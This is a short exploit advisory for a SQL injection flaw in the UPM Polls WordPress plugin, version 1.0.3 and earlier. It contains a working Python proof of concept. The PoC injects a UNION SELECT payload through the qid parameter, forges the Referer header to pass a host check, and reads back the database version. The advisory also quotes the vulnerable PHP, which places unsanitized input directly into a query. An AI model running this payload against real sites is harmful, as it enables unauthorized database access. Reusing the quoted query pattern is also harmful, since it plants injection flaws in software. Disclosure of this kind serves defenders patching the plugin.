UPM Polls 1.0.3 SQL Injection

`# Exploit Title: UPM Polls <= 1.0.3 SQL Injection Vulnerability  
# Date: 2011-08-06  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip  
# Version: 1.0.3 (tested)  
  
---  
PoC  
---  
#!/bin/python  
  
import re  
import urllib2  
import urlparse  
  
url = "http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20")  
req = urllib2.Request(url=url, headers={"Referer": url})  
content = urllib2.urlopen(req).read()  
match = re.search(r"`(.+)`", content)  
  
print match.group(1) if match else "None"  
  
---------------  
Vulnerable code  
---------------  
$ref = parse_url( $_SERVER['HTTP_REFERER'] );  
if( $_SERVER["HTTP_HOST"] != $ref['host'] ){  
exit('UPM Error:128');  
}  
  
...  
  
$QID = $_GET['qid'];  
$POLL = $wpdb->get_row("SELECT * FROM `".$wpdb->prefix."pppm_polls` WHERE `id` = $QID", ARRAY_A);  
  
`